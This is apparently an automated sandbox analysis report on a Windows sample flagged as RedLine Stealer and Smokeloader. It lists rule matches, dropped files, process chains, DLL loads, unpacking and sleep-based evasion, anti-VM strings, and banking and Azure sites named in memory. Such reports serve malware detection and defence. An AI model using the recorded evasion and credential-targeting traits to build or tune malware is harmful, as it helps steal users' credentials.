Source: 00000003.00000002.1661185876.0000000000560000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.3859571400.0000000000709000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: xCnwCctDWC.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: ScreenUpdateSync[1].exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 1C22.tmp.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/7@2/3

Source: C:\Users\user\Desktop\xCnwCctDWC.exe

Code function: 0_2_0070A1DE CreateToolhelp32Snapshot,Module32First,

0_2_0070A1DE

Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe

Code function: 3_2_0043B870 RtlExpandEnvironmentStrings,CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

3_2_0043B870

Source: C:\Users\user\Desktop\xCnwCctDWC.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\track_prt[1].htm

Jump to behavior

Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Mutant created: \Sessions\1\BaseNamedObjects\5rjtejk5rytrr
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7696

Source: C:\Users\user\Desktop\xCnwCctDWC.exe

File created: C:\Users\user\AppData\Local\Temp\1C22.tmp

Jump to behavior

Source: xCnwCctDWC.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\xCnwCctDWC.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\xCnwCctDWC.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 1C22.tmp.exe, 00000003.00000003.1519732332.0000000002E45000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1520021543.0000000002E28000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: xCnwCctDWC.exe	Virustotal: Detection: 37%
Source: xCnwCctDWC.exe	ReversingLabs: Detection: 60%

Source: unknown	Process created: C:\Users\user\Desktop\xCnwCctDWC.exe "C:\Users\user\Desktop\xCnwCctDWC.exe"
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Process created: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe "C:\Users\user\AppData\Local\Temp\1C22.tmp.exe"
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7696 -s 1668
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Process created: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe "C:\Users\user\AppData\Local\Temp\1C22.tmp.exe"	Jump to behavior

Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: C:\Users\user\Desktop\xCnwCctDWC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\xCnwCctDWC.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Unpacked PE file: 0.2.xCnwCctDWC.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.lid:W;.rotazex:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Unpacked PE file: 3.2.1C22.tmp.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Unpacked PE file: 0.2.xCnwCctDWC.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Unpacked PE file: 3.2.1C22.tmp.exe.400000.0.unpack

Source: C:\Users\user\Desktop\xCnwCctDWC.exe

Code function: 0_2_0041EC5E LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_0041EC5E

Source: xCnwCctDWC.exe	Static PE information: section name: .lid
Source: xCnwCctDWC.exe	Static PE information: section name: .rotazex

Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_00410766 push ecx; ret	0_2_00410779
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_0040FD8C push ecx; ret	0_2_0040FD9F
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_006809CD push ecx; ret	0_2_006809E0
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_006A799F push esp; retf	0_2_006A79A7
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_006A9DE8 pushad ; retf	0_2_006A9DEF
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_006ADDDE push dword ptr [esp+ecx-75h]; iretd	0_2_006ADDE2
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_0068CE18 push ss; retf	0_2_0068CE1D
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_0067FFF3 push ecx; ret	0_2_00680006
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_006A7F9D push esp; retf	0_2_006A7F9E
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_0070B02A push es; iretd	0_2_0070B03B
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_0070F3E2 pushad ; ret	0_2_0070F3FE
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_0070F560 push ecx; ret	0_2_0070F57D
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_0070C934 pushad ; ret	0_2_0070C95C
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_0070CDD5 push 00000003h; ret	0_2_0070CDD9
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00441850 push eax; mov dword ptr [esp], 0E0908DBh	3_2_00441853
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00563CFE push esi; retn 001Ch	3_2_00563D02
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00563156 push ebx; ret	3_2_00563157
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0056512A pushad ; ret	3_2_0056512B
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00565195 pushfd ; ret	3_2_00565196
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0212B05A push ebp; iretd	3_2_0212B05D
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_02141AB7 push eax; mov dword ptr [esp], 0E0908DBh	3_2_02141ABA

Source: xCnwCctDWC.exe	Static PE information: section name: .text entropy: 7.536561795358908
Source: ScreenUpdateSync[1].exe.0.dr	Static PE information: section name: .text entropy: 7.810340877907069
Source: 1C22.tmp.exe.0.dr	Static PE information: section name: .text entropy: 7.810340877907069

Source: C:\Users\user\Desktop\xCnwCctDWC.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\ScreenUpdateSync[1].exe			Jump to dropped file
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	File created: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe			Jump to dropped file

Source: C:\Users\user\Desktop\xCnwCctDWC.exe

Code function: 0_2_0040E974 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_0040E974

Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Window / User API: threadDelayed 898			Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Window / User API: threadDelayed 9092			Jump to behavior

Source: C:\Users\user\Desktop\xCnwCctDWC.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-65920

Source: C:\Users\user\Desktop\xCnwCctDWC.exe

API coverage: 5.1 %

Source: C:\Users\user\Desktop\xCnwCctDWC.exe TID: 7656	Thread sleep count: 898 > 30	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe TID: 7656	Thread sleep time: -648356s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe TID: 7656	Thread sleep count: 9092 > 30	Jump to behavior
Source: C:\Users\user\Desktop\xCnwCctDWC.exe TID: 7656	Thread sleep time: -6564424s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe TID: 7732	Thread sleep time: -120000s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_004389F2 FindFirstFileExW,		0_2_004389F2
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_006A8C59 FindFirstFileExW,		0_2_006A8C59

Source: 1C22.tmp.exe, 00000003.00000003.1531187312.0000000002EC2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696494690p
Source: Amcache.hve.7.dr	Binary or memory string: VMware
Source: 1C22.tmp.exe, 00000003.00000003.1531298540.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: 1C22.tmp.exe, 00000003.00000003.1531298540.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696494690
Source: xCnwCctDWC.exe, 00000000.00000003.3750184677.0000000000797000.00000004.00000020.00020000.00000000.sdmp, xCnwCctDWC.exe, 00000000.00000002.3859836533.0000000000797000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW{
Source: 1C22.tmp.exe, 00000003.00000003.1531298540.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: 1C22.tmp.exe, 00000003.00000003.1531298540.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: 1C22.tmp.exe, 00000003.00000003.1531298540.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696494690
